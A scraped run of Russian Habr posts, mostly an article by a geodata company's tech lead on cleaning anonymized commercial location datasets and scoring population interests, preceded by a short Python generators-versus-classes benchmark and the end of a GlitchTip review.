Резюмируя, хочется отметить, что GlitchTip — это Sentry на минималках. Вы смело можете рассматривать его в качестве основного инструмента, если вам дороги ваше время и ресурсы и при этом не требуется полный функционал Sentry.
Если же вам крайне важно интегрироваться с такими сервисами, как Github, Jira, Bitbacked и другими, вы активно пользуетесь дашбордами или другими фичами, которых нет в GlitchTip, то лучше выбрать Sentry.
На этом у меня все, надеюсь, моя статья помогла принять решение в этом нелегком выборе :) Спасибо за внимание. | https://habr.com/ru/post/706386/ | null | ru | null |
# Генераторы vs классы
Очень маленький пост о том, что выбрать: генератор или класс, когда реализация возможна обоими способами.
#### Не сложный выбор
Простая задача: рассчитывать скользящее среднее. Первоначальная реализация была в виде класса, но не давало покоя наличие генераторов, которые как-то очень подходили под концепцию. Но простой тест помог сделать выбор.
```
class EMA(object):
def __init__(self, alpha=0.5):
self.value = 0
self.alpha = alpha
def update(self, price):
self.value = self.value + self.alpha * (price - self.value)
def ema(alpha=0.5):
result = 0
previous = (yield)
while True:
price = (yield result)
result = result + alpha(price - result)
```
Теперь проводим 2 замера: создаём миллион генераторов и миллион классов, исследуем время и память:
| | | |
| --- | --- | --- |
| Реализация | Память | Время |
| Генераторы | 433,012 Мб | 0:00:02.330000 |
| Классы | 200,504 Мб | 0:00:01.807000 |
Вывод: классы в Python сделаны очень легковесными. Используйте их смело.
P.S. Под дебаггером классы создавались более 6 секунд, а время создания генераторов увеличилось всего на 1 секунду. Не проводите замер под отладчиком. | https://habr.com/ru/post/150798/ | null | ru | null |
# [кейс Locomizer] Какие знания можно на самом деле извлечь из анонимизированного датасета с координатами пользователей
> Данная статья является частью серии «Кейс Locomizer», см. также
>
> * [Как за два с половиной года ускорить расчёт тепловой карты в 20 000 раз](https://habr.com/ru/post/485988/)
> * [Открываем One Ring — инструментарий для гибкой конфигурации сложных процессов обработки данных на Spark в облаке](https://habr.com/ru/post/486466/)
>
Здравствуйте.
[](https://habrastorage.org/webt/sy/ye/fp/syyefpnaksenymijgtxh1wywxfo.png)
Недавно издание The New York Times [опубликовало](https://www.nytimes.com/interactive/2019/12/19/opinion/location-tracking-cell-phone.html) претендующую на сенсационность статью о том, как отследить пользователей по коммерчески доступным анонимизированным датасетам с координатами их перемещений, и здесь, [на Хабре](https://habr.com/ru/company/dcmiran/blog/481336/) её вольный перевод с дополнениями от неизвестного корпоративного копирайтера собрал большое количество комментариев разной степени обеспокоенности.
Так получилось, что я последние два с половиной года являюсь техническим лидом на [геоинформационном проекте](https://locomizer.com/), который занимается задачей непосредственного извлечения знаний именно из таких коммерческих датасетов. Но мои комментарии с просьбой отставить панику собрали большое количество минусов. Что ж. В поговорке про отсутствие паранойи и не факт, что за вами не следят, есть некая доля истины.
Но есть и доля истины по ту сторону чёрного зеркала, возможно, куда большая. Или интересная.
Так вот, давайте я подробно расскажу, как мы следим (и следим ли мы вообще в смысле шпионажа) за вами (и за вами ли лично), и что за знания о пользователе можно получать, не обладая ровно никаким контекстом, кроме координат его перемещений, собранных с мобильных абонентских терминалов. Без излишнего *журнализма* и *хайпожорства*, с точки зрения технического специалиста, который обладает некоторым реальным опытом решения невыдуманных задач для невыдуманных заказчиков, среди которых не только различные рекламные агентства, Coca-Cola и Guinness, но и, к примеру, ООН. И *с огоньком*.
Более того! В конце данной серии статей я хочу поделиться инструментарием, который мы разрабатывали в течении двух с половиной лет, чтобы вы самостоятельно могли заняться исследованиями, если купите (ну или достанете) подходящий датасет. До сих пор, насколько мне известно, никто не выкладывал в открытый доступ таких инструментов. По крайней мере, когда два года назад мы искали, ничего не нашлось, и пришлось писать самим. Путь к быстрым расчётам был труден и долог, о нём будет вторая часть.
Итак. Оглавление данного анамнеза:
* Анатомия анонимизированного датасета
* Проблемы точности координат в средней полосе
* Эвристики очистки данных от шума и мусора
* Да что за «знания» такие?
* Points of Interest
* Проблемы извлечения знаний
* Скоринг пользовательских интересов
Бонус:
* Благодарности и краткий FAQ
### Анатомия анонимизированного датасета
Возьмём коммерческого поставщика [Tamoco](https://tamoco.com/) и посмотрим, какие файлы он отгружает. Например, вот кусочек реального датасета по стране Соединённое Королевство Великобритании и Северной Ирландии, дата — 4 декабря 2019 года:
```
sdk_ts,device_id,latitude,longitude,accuracy,country,device_type,device_make,device_model,device_language,device_os,device_os_version,device_hw_version,device_screen_width,device_screen_height,device_battery,altitude,inv_id,trigger_type,app_account_id
1575390011,d75f97488c430502046fdb4ebfcc0ffd,51.516766,-0.1279744,10,GB,,,SM-G950W,en-CA,,,,0,0,0,0,4260328,GEO_FENCE_ENTER,115
1575414847,d75f97488c430502046fdb4ebfcc0ffd,51.516766,-0.1279821,10,GB,,,SM-G950W,en-CA,,,,0,0,0,0,4260328,GEO_FENCE_ENTER,115
1575424373,7e3323b382ddaafb9f774af95631cc44,51.51379,-0.0999953,7.6,GB,,,SM-G925F,en-GB,,,,0,0,0,0,31572218,GEO_FENCE_ENTER,115
1575417663,90165d78553fb37b0d62500733b39d11,53.724384,-6.879851,11,IE,aaid,,SM-A605FN,,android,9,,0,0,0,138,0,UNKNOWN_TRIGGER,229
1575417977,b6f2375275a21c40e03e4c6ea9ea4da0,52.75558,-7.9915,5,IE,idfa,,iPhone7.1,,ios,12.4.3,,0,0,0,122,0,UNKNOWN_TRIGGER,229
```
Вот что мы видим в полях этого датасета:
* sdk\_ts — штамп времени в [Unix Epoch](https://ru.wikipedia.org/wiki/Unix-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F),
* device\_id — анонимизированный ID устройства (мобильного абонентского терминала, такого как смартфон или планшет),
* latitude/longitude — [географические координаты](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%BA%D0%BE%D0%BE%D1%80%D0%B4%D0%B8%D0%BD%D0%B0%D1%82%D1%8B),
* accuracy — горизонтальная точность координат, метры,
* country — страна,
* остальные поля — мусор, не несущий особой смысловой нагрузки.
Почему сразу «мусор»?
К сожалению, такое полезное, казалось бы, поле altitude бессмысленно, потому что высота над уровнем моря плохо переводится в номера этажей зданий, а пролетающих на самолёте можно отсеять и без него (но об этом разговор пойдёт чуть позже).
В отличие от журналистов из указанных в начале статей, у нас нет никакого дополнительного контекста о пользователях, и мы не делаем голословных предположений «по умолчанию», типа «был в Пентагоне — значит, работает в Пентагоне». Мы также не фейсбук какой-нибудь, который знает о вас всё, что вы сами о себе рассказали (а средний пользователь рассказывает о себе очень дофига), плюс весь ваш социальный граф. Мы купили сырые данные, и мы им — не верим.
Так что из контекста имеется только пользовательская локаль — она может помочь определить иностранных туристов, но это не точно.
Ну, также помимо координат и времени есть ещё модель телефона — теоретически она открывает возможность по отдельности обрабатывать владельцев различных устройств на iOS и Andriod. В комментариях к статье из того корпоративного блога кое-кто предполагал заняться гоп-стопом с отжимом особо дорогих мобил, отследив их по геолокации… Хм, вы знаете, но такая бизнес-модель нормальным конторам, которые могут себе позволить купить данные, будет несколько невыгодна :)
> Важно понимать, что данные от поставщика приходят сырые, то есть, взятые с устройств, и никаким образом не обработанные, кроме, возможно, замены реального device\_id на хеш по требованиям [GDPR](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%89%D0%B8%D0%B9_%D1%80%D0%B5%D0%B3%D0%BB%D0%B0%D0%BC%D0%B5%D0%BD%D1%82_%D0%BF%D0%BE_%D0%B7%D0%B0%D1%89%D0%B8%D1%82%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85) (он стабильный, между разными месячными дампами одно и то же устройство будет представлено одинаково).
У каждого поставщика набор и формат полей свой, но координаты, точность, время, и device\_id есть у всех, а Tamoco я взял для примера как самый среднестатистический. И что можно предположить о пользователе, глядя на строку сырых данных, если не заниматься инсинуациями и гаданием на кофейной гуще?
Разве что, тот факт, что он, возможно, в указанное время был где-то поблизости от указанных координат. Точнее, так решила какая-то библиотека из чьего-нибудь SDK, которая занимается сбором геолокации в приложении на его абонентском терминале, и выгрузила эти данные агрегатору. Ей кажется, что он там был, но конечное решение, верить ей или нет, принимаем мы, причём сильно постфактум.
### Проблемы точности координат в средней полосе
GPS — офигенная штука. Недавно была [отличная статья](https://habr.com/ru/post/483498/) о её возможностях, обязательно прочитайте, если ещё не.
Вот только все крутые примеры рассказывают об идеальных случаях, которые, увы, никак не относятся к коммерческим датасетам.
Во-первых, мобильные абонентские терминалы из коммерческих датасетов — это совсем не профессиональные GPS-приёмники, которые призваны служить одной цели, и сделаны на гораздо более подходящей элементной базе, с хорошими усилителями и большими антеннами. Смартфон есть смартфон — то есть, самые дешёвые компоненты, упакованные в маленький корпус с маленькими антеннками, которые работают благодаря диким технологическим ухищрениям сразу в нескольких диапазонах, из которых GPS — это далеко не основной.
Во-вторых, городская среда — это очень, очень сильно пересечённая местность. Подумайте сами, — если откинуть американскую одноэтажную субурбию, любая современная городская улица представляет собой глубокий овраг с очень крутыми стенами, не то, что горизонта не видно, так и кусок неба над головой виден весьма небольшой. А для нормальной точности нужно иметь 4 спутника в прямой видимости одновременно, лучше больше. Ради интереса, как-нибудь выйдите во двор своей многоэтажки, и посмотрите, сколько спутников видит ваш смарт. (Скорее всего, вам потребуется рутованный андроид и/или какой-нибудь платный GPS-трекер.)
В-третьих, среднестатистический пользователь постоянно двигается, он не ждёт на месте по нескольку минут, пока его абонентский мобильный терминал поймает нужное количество спутников, он идёт или едет, поворачивает, и видимость постоянно меняется.
В-четвёртых, пользователь отнюдь не всё время держит телефон в руках. В кармане, сумочке или рюкзаке он может лежать боком или как попало, и вообще не поймает ничего.
В-пятых, любое здание, построенное из железобетона, может представлять собой как классическую [клетку Фарадея](https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B5%D1%82%D0%BA%D0%B0_%D0%A4%D0%B0%D1%80%D0%B0%D0%B4%D0%B5%D1%8F), так и [фазированную решётку](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B7%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B0%D0%BD%D1%82%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D1%80%D0%B5%D1%88%D1%91%D1%82%D0%BA%D0%B0), или зеркало с интересными нелинейными свойствами, которое может как усиливать сигнал, так и гасить его за счёт интерференции на некотором расстоянии вокруг. Или отражать под непредсказуемым углом, сдвигать фазу, и так далее. Всё зависит от шага металла в бетонных стенах.
В-шестых, автомобили вокруг тоже сделаны из металла.
В-седьмых, глубоко внутри здания GPS обычно не ловит, а уж в метро — тем более.
[](https://habrastorage.org/webt/pw/p1/a3/pwp1a3191vbzxygmshnbvapsrag.png)
Все эти факторы делают GPS в городе крайне ненадёжным, и производителям мобильных абонентских терминалов (а также поставщикам location services для мобильных операционок) приходится выкручиваться с различными Assisted GPS технологиями.
Самыми распространёнными являются триангуляция по базовым станциями сотовой связи и сетям WiFi (и даже Bluetooth).
Все эти смешные гугловые и яндексовские автомобильчики с камерами, снимающие панорамы для street view, на самом деле в основном собирают информацию о CellID, именах сетей и уровнях сигнала роутеров, а фотки — так, попутное баловство. Кроме них, массово собирает эту информацию HERE Maps, — а в развитых странах Apple, и ещё с десяток контор поменьше. Ну и те библиотеки, которые зашиты в мобильных приложениях, и поставляют данные о геолокации, постоянно делают ровно то же самое, just for instance, как и почти любой виджет, показывающий карту.
Основной вопрос тут в точности.
В отличие от GPS, LBS с ней всё плохо. Метров 20 для LTE в самом идеальном случае (в общем же — до пары километров), а что касается Wi-Fi, то тут диаграммы направленности роутеров, протяжённые меш-сети с репитерами, и сами физические характеристики сигнала частот 2.4 и 5 ГГц снижают достоверность вне помещений до 150 метров и более.
А это уже постоянные скачки пользователя на другую сторону улицы или перекрёстка, а то и вовсе за полквартала от того места, где он есть на самом деле — если, например, роутер стоит на 5 этаже, а вокруг ущелье из высоток, то сигнал не будет ловиться у подъезда, зато прекрасно поймается в конце этого ущелья.
Наконец, многие поставщики грешат ещё одной нехорошей особенностью. Если не удаётся определить положение с приемлемой точностью, пользователь будет телепортирован в центр определённого [геофенса](https://en.wikipedia.org/wiki/Geo-fence) — то есть в центр многоугольника, соответствующих определённому postcode или административному району, определённому по косвенным признакам, и на карте будет полно таких «горячих точек» с тысячами сигналов.
[](https://habrastorage.org/webt/gq/9s/cu/gq9scu4v4_bi30moct9c7mo8di0.png)
**Москва, Кремль, небольшой датасет от ноября 2019 года**В отмеченной на иллюстрации маркером точке с координатами [(55.75270; 37.61720)](https://yandex.ru/maps/-/CKEJ4RKF) находится сразу 208776 сигналов. Это не определившиеся с должной точностью точки, попавшие в «центр» соответствующего геофенса Сенатской площади, он же «центр» Кремля.
Кроме неё, также следующие координаты слишком уж «горячие»:
```
(55.75222; 37.61556) 193
(55.75111; 37.61537) 53
(55.74988; 37.61701) 45
(55.74988; 37.61700) 36
```
А во всех остальных точках c этой картинки — ровно по одному сигналу.
Хуже того, такие «центры районов» в каждой картографической подложке разные, и если от жилых зданий Apple и Google стараются их перемещать (в Штатах были нехорошие прецеденты с судебными исками), то сдвигом точки от нежилого здания никто заморачиваться не будет.
Определение положения внутри большого торгового центра площадью тысячи квадратных метров — отдельная боль. GPS не поймать, сотовая сеть на весь центр обычно одна и та же, и чтобы понять, какой из сотни магазинов посетил пользователь, надо ещё и этаж каким-то образом узнать. Good luck with that.
Собственно, если даже и есть поле altitude, то не всегда понятно, по какому геоиду оно посчитано (не обязательно WGS84), да и фиг его знает, какой высоты этажи в здании, чтобы посчитать самим. И сколько их? В азиатских странах из-за суеверий, например, не бывает не только 13-х, но и 4-х этажей. Такую информацию очень сложно найти, и при массовой обработке трудозатраты никогда не окупятся.
Потому, как бы нам того ни не хотелось, к сырым датасетам приходится применять изощрённые
### Эвристики очистки данных от шума и мусора
Но для начала расскажу, кто наш пациент.
Наш пациент анонимен, и имя ему — тысячи, а лучше, миллионы, ибо наши заказчики платят за статистику, собранную en masse. Конкретный человек не делает погоды для Coca-Cola, даже если он купит грузовик газировки разом. Коммерсантам нужны общие паттерны и тенденции, а также картина того, как они устанавливаются с течением времени. Владельцам сетей лондонских пабов важно знать, в какую погоду и время суток у них будет поток посетителей в пабах, расположенных на углу у станции подземки, а в какое — рядом с кинотеатрами, и им совершенно по барабану, входит ли в эти выборки из тысяч анонимов некий *Vassily Poupkine* из Рязани, или нет.
> Главное, чтобы их было много, и были они релевантны. Мы работаем с **популяциями**.
Поэтому, например, проезжающие на автомобиле пользователи, и пользователи, идущие пешком — это разные по ценности пользователи. У первых круг зрения тем уже, чем выше скорость движения, и они не обратят внимания на постер. Но если будут стоять в пробке, или на длинном светофоре, то почему нет. Как и пользователи, проезжающие в автобусе, которым глазеть по сторонам — это основное занятие (если они не тупят в любимой социалочке в это время).
Также, важно разделять пользователей, которые работают в целевом геофенсе — продавец магазина должен быть отделён от посетителей магазина, за которыми мы охотимся. Точнее, вся популяция продавцов всех магазинов розничной сети от всей популяции покупателей.
И всё это означает, что нам нужно иметь треки, качественные по следующим параметрам:
• без низкой точности координат,
• без глитчей геолокации:
— телепортов на полквартала в сторону и обратно,
— скачков через дорогу,
— вне «горячих точек»,
• классифицированные по типу перемещения:
— пешком,
— на машине,
— в автобусе,
— на велике или скутере,
— на Синкансене или на самолёте…
• без случайно затесавшихся в геофенсе нецелевых пользаков,
• без обрывочных треков, бесконечно нарезающих круги по маленькой площади (откуда они берутся, не совсем понятно, но их достаточно, чтобы выделить в отдельный проблемный класс, — наиболее вероятно, что это всякие замки с GSM-сигнализацией или радионяни — они тоже собирают геолокацию).
И если самое первое условие тривиально — проитерироваться по датасету и выкинуть все точки, у которых поле accuracy < 10 метров, то с остальными просто ворох проблем.
Вы и сами можете предположить, каких именно. Например, как отличить пешехода, ждущего на остановке автобус, от стоящего в соседней пробке водителя?
Приходится делать некоторые предположения, и строить математические модели для каждого такого фильтра, полные различных допущений. Иногда допущений довольно-таки сильных в плане отбрасывания значительной части популяций.
Вот, например, продавец аутлета в торговом центре, работающий посменно два дня через день. Если в рабочие дни он точно нецелевой, то в выходные — вполне может быть целевым для кинотеатра в этом же ТЦ. Но прикол в том, что стандартное расписание с понедельника по пятницу и два выходных для него не применимо, и классификатор должен каким-то образом отрабатывать, или же полностью выкидывать его из уравнения.
В любом случае, по каждой из матмоделей строится некий фильтр с кучей настроек, использующий *эвристический подход*.
Мы набираем большую статистику, вручную находим в ней нежелательные паттерны, формулируем задачу, отлаживаем в интерактивном режиме, и пишем отдельную обработку, а затем встраиваем её в процесс обработки датасета — в том случае, если уверены, что он требует такой подготовки.
Есть некоторое количество уже готовых алгоритмов. Например, чтобы определить горячие точки, можно использовать классический фильтр по частотности сигнала на решётке.
А вот классификатор по типам движения, работающий по принципу скользящего окна и [машины состояний](https://en.wikipedia.org/wiki/Finite-state_machine) (методом проб и ошибок мы потратили на его разработку в сумме почти полгода), изощрён настолько, что называть его «фильтром» уже некорректно.
Кроме того, у некоторых поставщиков пишется какое-то невменяемое количество точек на трек — то ли они аппроксимируют промежуточные точки на отрезках между измерениями, то ли просто пытаются снять их каждые пару метров, но получаются многие тысячи сигналов на прогулке в километр. Это явно перебор, и чтобы не захлебнуться в объёме, мы вынуждены прореживать треки при помощи очередной хитрой эвристики со скользящими окнами и непростой математикой для вычисления расстояния от всех точек треков до их [центроидов](https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D1%80%D0%B8%D1%86%D0%B5%D0%BD%D1%82%D1%80).
> Поэтому мы зовём процесс накладывания цепочки эвристик на исходный датасет **обогащением сырых данных**. И извлекаем знания уже из предварительно обогащённых данных.
И вот какая закавыка с любыми эвристиками: порядок применения очень сильно влияет на результат. Поэтому процесс обработки каждый раз получается уникальный, и не совсем хорошо повторяемый даже на данных от того же поставщика в том же регионе, но через полгода.
И ещё один момент — сырые данные от разных поставщиков смешивать в одном проекте нельзя, даже если привести их к общему знаменателю. Но если каждый сырой датасет независимо обработать подходящим для него алгоритмом, то обогащённые сигналы (без шума) уже можно сливать в единый исходник. Дублирования пользаков в данных разных поставщиков мы не находили.
В любом случае, некоторые знания из обогащённого датасета можно извлечь всегда, если постараться.
### Да что за «знания» такие?
Отличный вопрос.
*— Надо найти всех пользователей из Усть-Пердуйска, которые любят воровать свежую кукурузу с колхозного поля в конце августа.
— Простите?
— Ну, во-он то кукурузное поле. Август прошлого года.
— Мы про «воровать»…
— Определите как-нибудь, вы же специалисты!
— Ок. Ещё что-нибудь?
— Они должны курить Pall Mall.
— (про себя) Почему именно Pall Mall… хотя пофиг, нас это не интересует. Если дадут явки, так ведь найдём :D (вслух, твёрдо) Только если дадите инфу, где они его покупают.*
Вы прослушали диалог со сферическим заказчиком в вакууме, пусть не настоящий в плане сущностей «жить в Усть-Пердуйске», «кукурузное поле», «воровать» и конкретной марки сигарет, но зато полностью аутентичный по сути. Задачи так и ставятся — надо найти некоторую популяцию, описываемую в терминах геофенсов и пользовательского поведения, такого как место проживания, посещение определённых категорий мест в определённое время и т.п. Круг таких задач весьма широк, а набор параметров может быть довольно-таки экзотичен.
Но если есть некоторая [матмодель](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C), то применяя к большому набору обогащённых (то есть, качественных, без аномалий) данных статистические методы, вполне можно выцепить подходящую популяцию. Оценки все будут вероятностные. Мы не можем однозначно утверждать, что один пользователь точно живёт в Усть-Пердуйске, и ворует кукурузу каждый август, но если таковых наберётся хотя бы тысяча, мы таких найдём с 90% вероятности. Возможно, сможем и курильщиков, но относительно марки сигарет скорее всего потребуется дополнительный контекст, и если его предоставит заказчик, найдём среди них нужных — но точность не гарантируем.
Но такие задачи с контекстом на самом деле редки, и обычно мы делаем исследования на основе некоего стандартного набора отлаженных и проверенных матмоделей, разбирающих генеральную популяцию на такие сегменты, как:
* проживающие в геофенсе / работающие в геофенсе,
* распределение по уровню дохода домохозяйств,
* автомобилисты,
* любители посещать рестораны и кафе,
* шопоголики,
* спортивные болельщики,
* мамочки с маленькими детьми,
* командировочные,
* иностранные туристы…
Для каждой из категорий (всего их пара тысяч) процесс обработки строится по шаблону из предопределённых операций с кучей настроек, и параметризуется в зависимости от конкретных требований заказчика.
Операции разрабатываются следующим образом: data scientist пишет матмодель в виде white paper, затем она программируются и отлаживаются на эталонных наборах данных на Python, и в конце собирается обработка на Spark (мы пишем на Java, но можно и на Scala), которую я оптимизирую. (Ага, примерно как в известном меме про рисование совы, впрочем, подробнее будет во второй части моего повествования.)
Сами шаблоны для конкретных проектов конкретных заказчиков собирает специально обученный человек — data analyst. Хотите задать ему вопрос — напишите [keskiy](https://habr.com/ru/users/keskiy/) в комментах, и Гена вам ответит. Он же, кстати, подготавливает конечное визуальное представление в виде [тепловой карты](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BF%D0%BB%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BA%D0%B0%D1%80%D1%82%D0%B0) или большой красивой Excel-таблицы, потому что заказчики, как правило, плохо понимают многомегабайтные портянки из цифр.
Когда шаблон составлен, датасет загружается в S3 на Amazon Web Services, и при помощи магии (которую я подробно опишу в третьей статье данного цикла), запускается его обработка в сервисе EMR.
Что важно — мы никогда не берёмся за задачи определения или нахождения конкретного человека, потому что ни одна из наших матмоделей не работает на малых выборках. Сама статистическая природа всех наших эвристик препятствует работе с точечным контекстом, более того, мы намеренно отбрасываем пользаков, которые выходят за 95-ую персентиль, потому что слишком хорошее совпадение — это тревожный признак наличия накрутки.
На тепловой карте такие пользователи дают особенное, горячее пятно. Приведу пример, который может показаться анекдотическим, но он абсолютно реальный.
**Я сам однажды непреднамеренно нагрел полигон на тепловой карте.**Дело было так: мисклик на рекламу в браузере. Оказалось, ткнул на кружевное женское бельё, и попал в магазин с аббревиатурой WB, но не Warner Bros., а с фиолетовыми буквами. Ну а что, подумал я. Смотреть на фотки девушек в красивом нижнем белье мне нравится.
Ну я и начал пару тройку-раз в неделю кликать на них, пролистывать страницы этого магазина, — со своего аккаунта, но нескольких разных устройств с разными device\_id, — чтобы Гугл, Яндекс и вообще все на свете рекламные сети показывали мне только их. И я добился своей цели. Целый год вся реклама в интернете показывала мне ничего, кроме красиво раздетых девушек.
А потом в соседнем доме открылся пункт выдачи этого интернет-магазина, и я поставил адблокер.
Эвристика — шутка такая, её можно обмануть. Результат будет анекдотическим. «Пользователи, которые активно интересуются женским бельём в интернет-магазинах, кучкуются тут.» Ну-ну.
Но это вырожденный случай. А стандартные случаи рассчитываются по базе POI.
### Points of Interest
Отдельная *боль*шая задача, которой отдельно занимаются специально обученные люди — ведение базы категоризованных заведений и достопримечательностей, отелей и памятников, интернет-кафе и публичных домов… и прочих мыслимых точек притяжения человеческих популяций.
Как я уже сказал, у нас тысячи категорий, к которым может относиться то или иное интересное в плане посещения место. Точнее, дерево категорий. Взять «77 кафе и рестораны»:
```
• 77-1 кафе
• 77-8 рестораны
o 77-8-6 сетевые рестораны быстрого питания
77-8-6-90 McDonalds
• 77-8-6-90-1 MacAuto
77-8-6-91 Burger King
77-8-6-92 Pasta Hut
```
— ну и так далее.
В каждом населённом пункте таковых «заведений» может быть от ни одного до многих тысяч, и для каждого нужно вести и актуализировать справочник с координатами, и полным набором подходящих категорий. Какой-нибудь трёхэтажный торговый центр с сотней магазинчиков, фудкортом и кинотеатром является местом сосредоточения сразу множества POI со множеством дублирующихся категорий, но одним адресом, и с учётом того, что точки открываются и закрываются, на плечи исследователя ложится плохо автоматизируемая задача ведения такой базы.
А с учётом того факта, что популяцию могут заказать сразу на уровне префектуры, а то и страны, то размер базы POI для одного проекта может исчисляться миллионами точек и десятками категорий. Но сначала его надо взять. И хорошо, если страна развитая, или с активным сообществом картографов OSM. Не всегда, так что иной раз надо побегать.
А уж если кто-нибудь закажет расчёт на историческом датасете, то придётся найти справочник POI, актуальный пару лет назад, и это вообще не та задача, за которую особо хочется браться. Хорошо, если он у нас уже был. Приходится постоянно накапливать архив таких баз, вдруг кому-нибудь ещё пригодится.
Если у вас вдруг есть интерес по ведению базы POI, можете поспрашивать в комментариях координатора проекта Евгения [mitra\_kun](https://habr.com/ru/users/mitra_kun/).
Ну так вот, допустим, мы успешно нашли, или купили у какого-нибудь местного GIS-справочника базу POI на регион для нашего следующего проекта, и разобрались с категориями (которые у поставщика могут кардинально не совпадать по организации с нашими). Теперь нам нужно будет взять наш обогащённый датасет, эту базу, и посчитать необходимые нам сегменты популяций.
### Проблемы извлечения знаний
Можно попробовать пойти инновационным методом журналистов из The New York Times — «был в Пентагоне в рабочее время, значит, работник Пентагона». Но данный путь полон различных импликаций.
Что есть «рабочее время»? Я уже упоминал о неправильности расхожего представления, что рабочий график 5/2 подходит всем, но ведь и 8-часовой рабочий день в границах с 9 до 18 тоже верен только для офисного планктона. Это, в лучшем случае, даёт покрытие где-то половины целевой популяции (наша эмпирическая оценка, выведенная из практики). А помимо упомянутых графиков «два дня через день» бывают и другие, а также ещё различные смены типа утренней и ночной, где рабочие часы соответствуют времени сна типичного представителя популяции.
Ситуация в даунтаунах крупных городов, таких как Лондон, Нью-Йорк, или Токио ещё интереснее: там много зданий смешанного типа с офисами, отелями, и апартаментами, и разделить по-простому части популяций, которые в таких кварталах «живут» (то есть, спят — в ночное время) и «работают» (то есть, находятся в дневное время с, возможно, перерывом на обед) довольно сложно. А дополнительного контекста у нас, как я уже неоднократно подчёркивал, нет. Только координаты и время.
Неизбежно придётся жертвовать значительной частью популяции, чтобы не переусложнять и без того мудрёную эвристику классификации. Следовательно, исходный датасет должен обладать достаточным объёмом, чтобы даже при элиминировании большей его части на нём всё ещё продолжали действовать статистические законы, свойственные большим множествам.
Разбираться же вручную с каждым из атипичных подмножеств интересно, но это длительный и неблагодарный процесс, так что мы честно говорим о возникающих импликациях, и забиваем на нестандартных пользаков, которые не вписываются в матмодель большинства. Поэтому и реклама, рассчитанная на массового потребителя, работает не настолько эффективно для половины аудитории, как могла бы, будь возможным таргетировать её на полную популяцию.
Ну и, многоэтажные локации. В одном и том же офиснике на разных этажах могут располагаться POI из целевых для одного проекта категорий. Например, стоматологический кабинет, страховая компания, тренажёрка. И в какую категорию засчитывать двухчасовой визит какого-нибудь пользака, если он произошёл, допустим, 29 августа? Он (или она) лечил зубы, заключал договор КАСКО, или под конец месяца купил абонемент в спортзал? Контекста у нас никакого нет, и можно было бы посмотреть данные по другим месяцам, чтобы хотя бы выявить абонемент в спортзал по регулярным посещениям, но часто заказ бывает строго на какой-нибудь один только август без сентября, и всё. Мы делаем допущение, что с равной вероятностью верны все три варианта, и засчитываем некий скор по каждой из этих категорий.
### Скоринг пользовательских интересов
К сожалению, я не имею права подробно рассказать о математике, стоящей за вычислением скора, потому что это патентованное ноу-хау, на котором построен наш бизнес. Мы используем отличную от всех остальных представителей индустрии матмодель, вышедшую из биологических предпосылок (основатель проекта имеет докторскую степень по биологии), и экспериментально проверенную на популяциях различных модельных организмов, от клеточных культур до мышей, и затем доработанную под поведение людей.
Если без подробностей, то мы при назначении скора какому-то одному визиту в целевой геофенс мы учитываем интерес, который представитель популяции испытывает ко всем имеющимся POI из выбранной категории. Допустим, любитель макдака, если только он по какой-то причине не привязан к конкретному ресторану, будет посещать в основном именно макдаки, но обходить стороной заведения бургер кинг. Соответственно, при положительном скоре в категории «рестораны быстрого питания» у него будет больший положительный скор по категории «McDonalds», который перевешивает меньший отрицательный скор по категории «Burger King».
Для одного выбранного пользователя «суммарные очки опыта» довольно малоосмысленны, и могут даже выглядеть случайными, но когда пользователей накапливаются миллионы, происходит статистическая магия — суммы скоров на уровне популяции в пределах доверительного интервала действительно начинают отражать картину интересов этой популяции ко всем POI выбранных категорий. Чтобы разобраться, как именно это происходит, надо читать соответствующую диссертацию, — я не специалист в биологии и не могу судить о ней профессионально, — но рекламные кампании, проведённые нашими заказчиками с учётом интересов популяций, дают гораздо лучшие результаты, чем по конвенциональным методикам, применяемым в традиционных адвертайзинге и маркетинге.
Ещё интереснее, когда мы не просто считаем суммы, а покрываем всю карту равномерной сеткой и просчитываем скор категории для сигналов, учтённых в каждом полигоне этой сетки исходя из интересов пользователей, которым принадлежит учтённый сигнал. На картинке для привлечения внимания в начале статьи приведена одна из них, но на самом деле результатом одного проекта являются десятки, а то и сотни таких карт — для каждой целевой категории и сегмента популяции.
Или же — ничего путного не получается, если датасет слишком мал, зашумлён, неточен, или база POI составлена неверно. Из-за эвристик и неполных матмоделей данные должны быть достаточно большими, чтобы результат получался достоверным.
Но большие данные — это на самом деле не про размер.
А что это такое, и каким образом они возникают во время обработки, пойдёт речь в следующей части. Не переключайтесь, через пару дней я расскажу о том, как мы из прототипа, собранного на коленке, мы построили автоматизированный конвейер в Амазоновском облаке, и научились обсчитывать терабайты сырых данных за минуты вместо недель. Это будет гораздо более техническая статья.

*Вот эти ребята.*
### Благодарности и краткий FAQ
Без фидбэка замечательных коллег — инженеров по большим данным эта статья не получилась бы настолько понятной:
* Павел [@ajtkulov](https://twitter.com/ajtkulov)
* Григорий [pomadchin](https://github.com/pomadchin)
* Андрей [fall\_out\_bug](https://habr.com/ru/users/fall_out_bug/) Жуков
А без редакторских правок Нади Носковой и Полины Русиновой из команды [HUDWAY](https://hudway.co) она не вышла бы настолько легко читаемой. Спасибо!
Теперь краткий FAQ по вопросам рецензентов.
**Q.** Сколько точек за час/день/минуту есть у «среднего» человека? То есть в целом мы можем сгруппировать по device\_id и понять где человек находился в течение дня? Можно ли склеить данные непрерывно за неделю?
